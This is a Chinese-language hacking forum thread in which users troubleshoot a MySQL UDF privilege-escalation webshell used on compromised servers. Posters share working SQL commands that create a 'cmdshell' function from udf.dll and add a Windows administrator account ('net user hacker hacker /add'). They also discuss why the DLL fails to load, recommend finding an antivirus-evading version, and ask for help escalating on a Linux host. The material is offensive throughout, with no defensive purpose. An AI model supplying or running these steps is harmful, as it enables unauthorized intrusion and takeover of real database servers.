[讨论]langouster的mysql提权马问题！ langouster, mysql, 讨论

richy

[讨论]langouster的mysql提权马问题！
langouster的那个提权的PHP马 我第一次提权成功了 在系统上加了用户


后来因为丢了权限 就回去重新加，但原来的udf.dll文件存在了`好像不能被覆盖了。

我用Create Function cmdshell returns string soname "udf.dll"

提示：Function 'cmdshell' already exist 功能cmdshell存在？ 但我进数据库已经把那个表删除了的


啊！！！既然存在，那我就去执行 select cmdshell('net user')

但不成功提示：You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '('net user')' at line 1

大虾门看看怎么回事```
帖子1 精华0 积分-6 阅读权限1 在线时间13 小时 注册时间2007-3-8 最后登录2008-4-20 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味


ring04h
团队执行官

洪记

SQL语法错误
帖子3923 精华128 积分209640 阅读权限200 性别男 在线时间1095 小时 注册时间2007-10-23 最后登录2008-7-18 查看详细资料引用 报告 回复 TOP 软件项目外包

第四维
晶莹剔透§烈日灼然

土人

select cmdshell('net user')
  有这样的SQL语句 select可以这样用吗？
帖子5 精华0 积分20 阅读权限40 性别男 在线时间3 小时 注册时间2007-1-11 最后登录2007-8-18 查看详细资料引用 报告 回复 TOP 良辰择日，预测咨询，公司改名，权威易经

优格
荣誉会员

闲云

后面应该还要个;
帖子226 精华2 积分796 阅读权限100 性别男 在线时间123 小时 注册时间2005-5-29 最后登录2008-4-16 查看详细资料引用 报告 回复 TOP

jackchenlei
晶莹剔透§烈日灼然

老猫

删除存储过程cmdshell再添加一次
drop function cmdshell;
Create Function cmdshell returns string soname 'udf.dll';
帖子22 精华0 积分71 阅读权限40 性别男 在线时间229 小时 注册时间2006-5-2 最后登录2008-7-4 查看详细资料引用 报告 回复 TOP 软件项目外包

jackchenlei
晶莹剔透§烈日灼然

listenbreeze

引用:
引用第4楼jackchenlei于2007-08-19 21:05发表的 :
可能因为你上次提权后没有删除功能函数
删除功能函数cmdshell后再添加一次
drop function cmdshell;
Create Function cmdshell returns string soname 'udf.dll';
帖子22 精华0 积分71 阅读权限40 性别男 在线时间229 小时 注册时间2006-5-2 最后登录2008-7-4 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

fatcat
晶莹剔透§烈日灼然

44447777kun

我也遇到了，奇怪的错误！ 怀疑dll被查杀了
数据库查讯出错，请检查SQL语句Create Function cmdshell returns string soname 'udf.dll';的语法是否正确。Can't open shared library 'udf.dll' (errno: 0 )晕啊晕
帖子45 精华0 积分145 阅读权限40 性别男 来自浙江 在线时间68 小时 注册时间2004-11-9 最后登录2008-7-2 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

laidogdog
晶莹剔透§烈日灼然

长弓玉

被杀了。
帖子1 精华0 积分6 阅读权限40 在线时间2 小时 注册时间2005-9-2 最后登录2007-12-14 查看详细资料引用 报告 回复 TOP

paradise12
晶莹剔透§烈日灼然

神童

用UDF提权时开始倒入时无法显示该业然后就是错误:创建临时表Temp_Tab出错。Table 'temp_tab' already exists删除后再来还是一样的情况 请问有什么好的办法吗? ROOT权限...  大象大象~~~~
帖子3 精华0 积分13 阅读权限40 在线时间2 小时 注册时间2007-12-6 最后登录2007-12-6 查看详细资料引用 报告 回复 TOP

icedoing
晶莹剔透§烈日灼然

niufen

语法问题
帖子5 精华0 积分20 阅读权限40 在线时间0 小时 注册时间2007-7-28 最后登录2007-12-7 查看详细资料引用 报告 回复 TOP

paradise12
晶莹剔透§烈日灼然

牛屎仔

请楼上高人说详细点好不...
帖子3 精华0 积分13 阅读权限40 在线时间2 小时 注册时间2007-12-6 最后登录2007-12-6 查看详细资料引用 报告 回复 TOP

paradise12
晶莹剔透§烈日灼然

claire87

可以的话加我Q292415227谢谢
帖子3 精华0 积分13 阅读权限40 在线时间2 小时 注册时间2007-12-6 最后登录2007-12-6 查看详细资料引用 报告 回复 TOP

咖啡爱可可
晶莹剔透§烈日灼然

jimmy

````LINUX哪位提权会的啊
uname -r 2.4.21-27.ELsmp
有目录浏览权限 怎么提权哪位知道告知下

装了MYSQL (有root密码)
    Zend
    PHP 4.4.2
    Apache 2.0 Handler
开放SSH
帖子6 精华0 积分18 阅读权限40 在线时间9 小时 注册时间2007-6-15 最后登录2008-7-1 查看详细资料引用 报告 回复 TOP

cser
晶莹剔透§烈日灼然

6G150

;
楼主的sql语句最后没有加 ； 这个，显示的是不完整的sql语句。
select cmdshell('net user hacker hacker /add');
这样的没问题。
帖子2 精华0 积分9 阅读权限40 在线时间19 小时 注册时间2006-3-12 最后登录2008-5-4 查看详细资料引用 报告 回复 TOP

不止牛嘿
晶莹剔透§烈日灼然

珉头

cmdshell('net user')        

Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLast
        
-----------------------------------

执行cmdshell的时候遇到这个.不知道什么原因..

帖子12 精华0 积分37 阅读权限40 性别男 在线时间38 小时 注册时间2007-4-15 最后登录2008-7-16 查看详细资料引用 报告 回复 TOP

greyair
晶莹剔透§烈日灼然

topboy2000

楼上的Shell无法启动是cmd被删或者system的使用权限被删。
帖子14 精华0 积分40 阅读权限40 在线时间83 小时 注册时间2007-3-12 最后登录2008-6-25 查看详细资料引用 报告 回复 TOP

wudi123
晶莹剔透§烈日灼然

姑爺囝

cmdshell('net user')        

Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLastError=Shell无法启动,GetLast

我也遇到这问题 ,有没有解决办法呢?请教.
帖子1 精华0 积分3 阅读权限40 在线时间16 小时 注册时间2007-12-18 最后登录2008-7-8 查看详细资料引用 报告 回复 TOP

pwangeng
晶莹剔透§烈日灼然

赛车手

导出到c:\windows\udf.dll 成功

执行create function cmdshell returns string soname 'udf.dll' 出错

数据库查讯出错，请检查SQL语句create function cmdshell returns string soname 'udf.dll'的语法是否正确。Can't open shared library 'udf.dll' (errno: 0 )

这是什么原因？
帖子7 精华0 积分7 阅读权限40 在线时间6 小时 注册时间2008-5-7 最后登录2008-7-15 查看详细资料引用 报告 回复 TOP

pwangeng
晶莹剔透§烈日灼然

泰兴行

如果是udf.dll被查杀，那该怎么办？
帖子7 精华0 积分7 阅读权限40 在线时间6 小时 注册时间2008-5-7 最后登录2008-7-15 查看详细资料引用 报告 回复 TOP

yumiko
晶莹剔透§烈日灼然

强劲力量

寻找免杀的UDF.DLL
帖子5 精华0 积分32 阅读权限40 在线时间7 小时 注册时间2006-5-16 最后登录2008-7-19 查看详细资料引用 报告 回复 TOP

zm94
晶莹剔透§烈日灼然